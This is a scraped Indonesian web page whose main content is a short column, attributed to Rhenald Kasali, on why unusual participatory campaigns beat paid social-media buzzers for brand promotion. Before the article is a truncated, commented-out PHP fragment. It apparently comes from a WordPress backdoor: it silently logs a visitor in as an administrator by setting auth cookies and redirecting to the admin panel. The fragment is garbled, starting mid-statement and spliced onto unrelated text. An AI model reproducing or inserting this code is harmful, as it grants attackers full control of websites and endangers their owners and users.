user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
Product Buzz

31 Dec 2012

Di media sosial kita sering menjumpai buzzer atau orang dengan banyak followers yang dimanfaatkan oleh sebuah brand untuk mengiklankan produk mereka. Sebetulnya, seberapa efektif metode ini? 

Media sosial seperti Twitter berguna untuk menjangkau konsumen, yaitu untuk menyosialisasikan, menciptakan buzz atau ‘dengung’ dari suatu produk. Bagi mereka yang mencari informasi, iklan-iklan 140 karakter ini mungkin berguna. Tapi, perlu diingat bahwa banyak juga orang yang merasa terganggu karenanya. Kita menjadi follower seseorang untuk mendapatkan informasi atau pengetahuan, bukan untuk disuguhi jualan produk. 

Menurut saya, ada cara yang lebih efektif daripada membayar seseorang untuk mengiklankan produk Anda. Caranya  adalah dengan membuat berita. Zaman sekarang orang begitu aktif di media sosial, mengabarkan setiap hal yang mereka lihat dan lakukan. Hal inilah yang perlu dimanfaatkan para pemilik brand. 

Advertisement
Caranya, buat kegiatan atau kampanye yang unik dan tidak biasa. Tarik audiensi atau pengunjung untuk berpartisipasi. Kalau mereka senang, dengan sendirinya mereka akan ‘gatal’ untuk men-tweet atau mem-post status, foto, dan sebagainya. Mereka melakukannya dengan senang hati, dan followers mereka juga akan lebih percaya.

Konsultan Bisnis: Rhenald Kasali




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?